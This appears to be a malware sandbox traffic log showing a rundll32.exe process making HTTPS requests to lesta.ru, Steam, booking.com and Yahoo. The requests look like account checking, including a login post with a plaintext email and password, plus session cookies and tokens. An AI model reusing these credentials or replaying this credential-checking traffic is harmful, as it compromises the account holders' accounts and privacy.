2023-12-10 16:51:47 UTC	4344	IN	Data Raw: 26 26 22 31 2e 30 30 22 3d 3d 3d 65 2e 6e 75 6d 26 26 28 65 2e 74 69 74 6c 65 3d 69 28 74 2e 74 69 74 6c 65 54 70 6c 2c 5b 65 2e 66 72 6f 6d 55 6e 69 74 2c 65 2e 74 69 74 6c 65 5d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 74 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 73 3d 74 2e 69 64 78 2c 6e 3d 74 2e 6d 2c 74 3d 74 2e 66 64 3b 69 2e 65 6e 61 62 6c 65 64 26 26 35 33 3d 3d 3d 6e 26 26 30 3d 3d 3d 73 26 26 74 26 26 28 65 2e 6c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 73 61 2d 63 75 72 72 65 6e 63 79 22 29 2c 22 31 2e 30 30 22 21 3d 3d 74 2e 6e 75 6d 29 26 26 65 2e 6c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 73 61 2d 63 75 72 72 65 6e 63 79 2d 70 6c 75 72 61 6c 22 29 7d 66 75 6e 63 74 69 6f 6e 20 61 74 28 29 7b Data Ascii: &&"1.00"===e.num&&(e.title=i(t.titleTpl,[e.fromUnit,e.title]))}function nt(e,t){var i=this.config,s=t.idx,n=t.m,t=t.fd;i.enabled&&53===n&&0===s&&t&&(e.li.classList.add("sa-currency"),"1.00"!==t.num)&&e.li.classList.add("sa-currency-plural")}function at(){
2023-12-10 16:51:47 UTC	3808	IN	Data Raw: 6e 67 3d 22 30 22 2c 62 2e 73 74 79 6c 65 2e 66 6f 6e 74 57 65 69 67 68 74 3d 22 34 30 30 22 2c 5f 26 26 28 62 2e 73 74 79 6c 65 2e 66 6f 6e 74 53 69 7a 65 3d 5f 29 2c 76 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 45 2e 6c 69 29 2c 62 2e 63 6c 69 65 6e 74 57 69 64 74 68 29 3b 69 66 28 30 3d 3d 75 29 7b 76 61 72 20 62 3d 70 28 45 2e 6c 69 2c 22 70 61 64 64 69 6e 67 2d 6c 65 66 74 22 29 2c 45 3d 70 28 61 2c 22 70 61 64 64 69 6e 67 2d 6c 65 66 74 22 29 2c 43 3d 70 28 61 2c 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 22 29 3b 69 66 28 45 26 26 62 26 26 28 6c 3d 70 61 72 73 65 49 6e 74 28 45 29 2d 70 61 72 73 65 49 6e 74 28 62 29 29 2c 43 26 26 28 63 3d 70 61 72 73 65 49 6e 74 28 43 29 2b 6c 29 2c 5f 3e 61 2e 63 6c 69 65 6e 74 57 69 64 74 68 2d 63 29 7b 6f 3d 30 3b Data Ascii: ng="0",b.style.fontWeight="400",_&&(b.style.fontSize=_),v.appendChild(E.li),b.clientWidth);if(0==u){var b=p(E.li,"padding-left"),E=p(a,"padding-left"),C=p(a,"padding-right");if(E&&b&&(l=parseInt(E)-parseInt(b)),C&&(c=parseInt(C)+l),_>a.clientWidth-c){o=0;
2023-12-10 16:51:47 UTC	536	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 73 2e 73 74 61 74 75 73 3b 28 34 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 32 30 30 3c 3d 65 26 26 65 3c 33 30 30 7c 7c 33 30 34 3d 3d 3d 65 7c 7c 31 32 32 33 3d 3d 3d 65 29 26 26 28 6f 2e 6d 6f 64 65 6c 2e 72 65 6d 6f 76 65 41 74 28 63 29 2c 6e 2e 66 65 74 63 68 41 66 74 65 72 52 65 6d 6f 76 65 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 6d 6f 64 65 6c 2e 66 65 74 63 68 28 29 7d 2c 6e 2e 64 65 6c 61 79 42 65 66 6f 72 65 46 65 74 63 68 29 7d 29 2c 73 2e 73 65 6e 64 28 6e 75 6c 6c 29 2c 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 26 26 28 28 74 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 22 64 69 76 22 29 29 2e 69 6e 6e 65 72 Data Ascii: nction(){var e=s.status;(4==s.readyState&&200<=e&&e<300\|\|304===e\|\|1223===e)&&(o.model.removeAt(c),n.fetchAfterRemove)&&setTimeout(function(){o.model.fetch()},n.delayBeforeFetch)}),s.send(null),n.placeholder&&((t=this.createElem(n.placeholder,"div")).inner
2023-12-10 16:51:47 UTC	15928	IN	Data Raw: 63 68 22 2c 73 6c 6b 3a 22 63 6c 65 61 72 20 68 69 73 74 6f 72 79 22 2c 72 73 70 6e 73 3a 22 75 70 64 22 2c 74 32 3a 22 73 65 61 72 63 68 22 2c 74 34 3a 22 63 6c 65 61 72 20 68 69 73 74 6f 72 79 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 65 2e 6b 65 79 43 6f 64 65 26 26 32 37 21 3d 3d 65 2e 6b 65 79 43 6f 64 65 26 26 31 33 21 3d 65 2e 6b 65 79 43 6f 64 65 7c 7c 28 53 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 65 29 2c 61 2e 76 61 6c 75 65 3d 22 22 2c 53 2e 73 65 74 46 6f 63 75 73 28 61 29 2c 73 2e 73 68 6f 77 28 29 2c 69 2e 63 6f 6e 74 72 6f 6c 2e 62 65 61 63 6f 6e 28 22 74 61 70 43 6c 72 22 2c 6f 2c 74 2e 63 6f 6e 66 69 67 2e 6c 6f 67 29 29 7d 76 61 72 20 74 3d 74 68 69 73 2c 69 3d 74 2e 61 70 Data Ascii: ch",slk:"clear history",rspns:"upd",t2:"search",t4:"clear history"}}}function Ht(){function e(e){e.keyCode&&27!==e.keyCode&&13!=e.keyCode\|\|(S.stopPropagation(e),a.value="",S.setFocus(a),s.show(),i.control.beacon("tapClr",o,t.config.log))}var t=this,i=t.ap
2023-12-10 16:51:47 UTC	16304	IN	Data Raw: 75 74 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 6e 61 6d 65 3d 22 27 2b 74 2b 27 2d 73 75 67 67 22 20 69 64 3d 22 27 2b 28 72 3d 74 2b 22 2d 73 75 67 67 2d 22 2b 6e 29 2b 27 22 20 76 61 6c 75 65 3d 22 27 2b 6c 2e 6b 2b 27 22 3e 3c 73 70 61 6e 3e 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 27 2b 72 2b 27 22 3e 27 2b 70 2e 68 74 6d 6c 45 6e 63 6f 64 65 28 6c 2e 6b 29 2b 22 3c 2f 6c 61 62 65 6c 3e 3c 2f 73 70 61 6e 3e 22 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2c 6e 2b 2b 29 7d 74 68 69 73 2e 63 61 6e 52 65 70 6f 72 74 3d 30 3c 6e 2c 74 68 69 73 2e 72 65 70 6f 72 74 53 75 67 67 4c 69 73 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 2c 74 68 69 73 2e 72 65 70 6f 72 74 53 75 67 67 4c 69 73 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 74 68 69 73 Data Ascii: ut type="checkbox" name="'+t+'-sugg" id="'+(r=t+"-sugg-"+n)+'" value="'+l.k+'"><span><label for="'+r+'">'+p.htmlEncode(l.k)+"</label></span>",i.appendChild(o),n++)}this.canReport=0<n,this.reportSuggList.innerHTML="",this.reportSuggList.appendChild(i),this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50191	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:48 UTC	439	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:51:48 UTC	2627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 34 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:51:48 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:51:48 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 64 6e 50 64 75 75 62 6e 38 75 4a 31 4e 53 53 36 4f 6d 73 39 68 6c 45 36 72 43 4d 49 71 4f 64 Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "dnPduubn8uJ1NSS6Oms9hlE6rCMIqOd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50196	23.194.234.100	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:48 UTC	595	OUT	GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=570&category_570_Hero[]=any&category_570_Slot[]=tag_head&category_570_Type[]=tag_wearable&category_570_Type[]=tag_wearable&category_570_Slot[]=tag_back&category_570_Slot[]=tag_weapon&category_570_Rarity[]=tag_Rarity_Arcana HTTP/1.1 Host: steamcommunity.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
2023-12-10 16:51:48 UTC	430	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 45 78 70 69 72 65 73 3a 20 4d 6f 6e 2c 20 32 36 20 4a 75 6c 20 31 39 39 37 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 34 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a Data Ascii: HTTP/1.1 200 OKServer: nginxContent-Type: application/json; charset=utf-8X-Frame-Options: DENYExpires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-cacheDate: Sun, 10 Dec 2023 16:51:48 GMTContent-Length: 242Connection: closeSet-Cookie:
2023-12-10 16:51:48 UTC	242	IN	Data Raw: 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 74 61 72 74 22 3a 30 2c 22 70 61 67 65 73 69 7a 65 22 3a 31 2c 22 74 6f 74 61 6c 5f 63 6f 75 6e 74 22 3a 30 2c 22 74 69 70 22 3a 22 53 65 74 20 6e 6f 72 65 6e 64 65 72 3d 31 20 69 66 20 79 6f 75 20 64 6f 6e 27 74 20 77 61 6e 74 20 48 54 4d 4c 22 2c 22 72 65 73 75 6c 74 73 5f 68 74 6d 6c 22 3a 22 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 74 61 62 6c 65 5f 6d 65 73 73 61 67 65 5c 22 3e 54 68 65 72 65 20 77 61 73 20 61 6e 20 65 72 72 6f 72 20 70 65 72 66 6f 72 6d 69 6e 67 20 79 6f 75 72 20 73 65 61 72 63 68 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 5c 2f 64 69 76 3e 5c 72 5c 6e 22 7d Data Ascii: {"success":true,"start":0,"pagesize":1,"total_count":0,"tip":"Set norender=1 if you don't want HTML","results_html":"\t<div class=\"market_listing_table_message\">There was an error performing your search. Please try again later.<\/div>\r\n"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	50199	23.194.234.100	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:49 UTC	866	OUT	GET /market/search/render/?query=%22iBUYPOWER%20%28Holo%29%20%7C%20Katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon HTTP/1.1 Host: steamcommunity.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
2023-12-10 16:51:50 UTC	431	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 45 78 70 69 72 65 73 3a 20 4d 6f 6e 2c 20 32 36 20 4a 75 6c 20 31 39 39 37 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 35 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 37 32 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 Data Ascii: HTTP/1.1 200 OKServer: nginxContent-Type: application/json; charset=utf-8X-Frame-Options: DENYExpires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-cacheDate: Sun, 10 Dec 2023 16:51:50 GMTContent-Length: 3721Connection: closeSet-Cookie
2023-12-10 16:51:50 UTC	3721	IN	Data Raw: 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 74 61 72 74 22 3a 30 2c 22 70 61 67 65 73 69 7a 65 22 3a 31 2c 22 74 6f 74 61 6c 5f 63 6f 75 6e 74 22 3a 36 2c 22 74 69 70 22 3a 22 53 65 74 20 6e 6f 72 65 6e 64 65 72 3d 31 20 69 66 20 79 6f 75 20 64 6f 6e 27 74 20 77 61 6e 74 20 48 54 4d 4c 22 2c 22 72 65 73 75 6c 74 73 5f 68 74 6d 6c 22 3a 22 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 74 61 62 6c 65 5f 68 65 61 64 65 72 5c 22 3e 5c 72 5c 6e 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 70 72 69 63 65 5f 6c 69 73 74 69 6e 67 73 5f 62 6c 6f 63 6b 5c 22 3e 5c 72 5c 6e 5c 74 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 Data Ascii: {"success":true,"start":0,"pagesize":1,"total_count":6,"tip":"Set norender=1 if you don't want HTML","results_html":"\t<div class=\"market_listing_table_header\">\r\n\t\t<div class=\"market_listing_price_listings_block\">\r\n\t\t\t<div class=\"market_list

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50201	18.244.102.111	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:49 UTC	578	OUT	POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1 Host: account.booking.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/json Content-Length: 78 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Origin: https://account.booking.com Referer: https://account.booking.com/ X-Booking-Client: ap X-Requested-With: XMLHttpRequest
2023-12-10 16:51:49 UTC	78	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 6d 69 74 69 32 30 30 39 40 63 65 6e 74 72 75 6d 2e 73 6b 22 7d 7d Data Ascii: {"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"miti2009@centrum.sk"}}
2023-12-10 16:51:50 UTC	2682	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 72 76 65 72 3a 20 65 6e 76 6f 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 34 39 20 47 4d 54 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 62 6b 6e 67 5f 73 73 6f 5f 73 65 73 3d 65 33 30 3b 20 64 6f 6d 61 69 6e 3d 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 30 38 2d 44 65 63 2d 32 30 32 38 20 31 36 3a 35 31 3a 34 39 Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Transfer-Encoding: chunkedConnection: closeserver: envoydate: Sun, 10 Dec 2023 16:51:49 GMTset-cookie: bkng_sso_ses=e30; domain=.booking.com; path=/; expires=Fri, 08-Dec-2028 16:51:49
2023-12-10 16:51:50 UTC	333	IN	Data Raw: 31 34 36 0d 0a 7b 22 6e 65 78 74 53 74 65 70 22 3a 22 53 54 45 50 5f 52 45 47 49 53 54 45 52 5f 5f 50 41 53 53 57 4f 52 44 22 2c 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 22 6d 69 74 69 32 30 30 39 40 63 65 6e 74 72 75 6d 2e 73 6b 22 2c 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 7d 2c 22 63 6f 6e 74 65 78 74 22 3a 7b 22 76 61 6c 75 65 22 3a 22 55 6f 6f 42 6b 68 52 35 44 70 42 49 55 62 66 4b 2d 35 72 67 36 34 75 55 51 6a 7a 34 39 4a 39 44 38 45 5a 6e 34 55 79 43 5f 73 50 52 69 51 56 72 32 49 63 74 4d 49 33 69 5f 63 59 4a 4e 47 49 50 5f 69 75 71 47 67 4b 79 5a 47 5a 47 77 67 6e 43 71 44 39 73 55 6d 6f 71 42 6e 59 50 52 31 66 41 70 66 49 75 77 56 6a 76 6b 35 44 7a 43 44 76 2d 69 6c 4f Data Ascii: 146{"nextStep":"STEP_REGISTER__PASSWORD","identifier":{"value":"miti2009@centrum.sk","type":"IDENTIFIER_TYPE__EMAIL"},"context":{"value":"UooBkhR5DpBIUbfK-5rg64uUQjz49J9D8EZn4UyC_sPRiQVr2IctMI3i_cYJNGIP_iuqGgKyZGZGwgnCqD9sUmoqBnYPR1fApfIuwVjvk5DzCDv-ilO
2023-12-10 16:51:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	50197	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:50 UTC	781	OUT	POST /id/signin/process/?type=captcha HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive Cookie: wgni_language=ru; wgni_csrftoken=TEtyBnWk5kUSkeTZkbNIKDpYOABx1ZPeZbw3QV4JAY0ZsAMyodu2bQdkCnMhMt3V; wgni_sessionid=ryasm481hjm1buk4zielaytt0s4clcn4 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.77 YaBrowser/20.11.0.821 Yowser/2.5 Safari/537.36 Content-Length: 118 Content-Type: application/x-www-form-urlencoded accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://lesta.ru/id/signin/ x-csrftoken: TEtyBnWk5kUSkeTZkbNIKDpYOABx1ZPeZbw3QV4JAY0ZsAMyodu2bQdkCnMhMt3V x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:51:50 UTC	118	OUT	Data Raw: 6c 6f 67 69 6e 3d 63 72 61 7a 79 77 65 69 72 64 31 32 34 40 79 61 68 6f 6f 2e 63 6f 6d 26 70 61 73 73 77 6f 72 64 3d 69 6c 6f 76 65 64 6f 6c 70 68 69 6e 26 63 61 70 74 63 68 61 3d 32 36 34 31 39 32 34 26 6e 65 78 74 3d 25 32 46 69 64 25 32 46 73 73 6f 25 32 46 73 69 67 6e 69 6e 25 32 46 6e 6f 74 69 66 79 25 32 46 25 33 46 6e 65 78 74 25 33 44 25 32 46 Data Ascii: login=crazyweird124@yahoo.com&password=ilovedolphin&captcha=2641924&next=%2Fid%2Fsso%2Fsignin%2Fnotify%2F%3Fnext%3D%2F
2023-12-10 16:51:52 UTC	436	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 35 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 2c 20 43 6f 6f 6b 69 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 72 75 0d 0a 50 33 50 3a 20 43 50 3d 22 41 4c 4c 20 41 44 4d 20 44 45 56 20 50 53 41 69 20 43 4f 4d 20 4f 55 52 Data Ascii: HTTP/1.1 409 ConflictServer: nginxDate: Sun, 10 Dec 2023 16:51:52 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 36Connection: closeVary: Accept-Language, CookieContent-Language: ruP3P: CP="ALL ADM DEV PSAi COM OUR
2023-12-10 16:51:52 UTC	36	IN	Data Raw: 7b 22 65 72 72 6f 72 73 22 3a 20 7b 22 63 61 70 74 63 68 61 22 3a 20 5b 22 69 6e 76 61 6c 69 64 22 5d 7d 7d Data Ascii: {"errors": {"captcha": ["invalid"]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	50207	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:51 UTC	976	OUT	GET /search;_ylt=AwrEaSSe7HVlefErW21LBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=64&pz=7&pstart=13 HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227102&ltv_c=9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
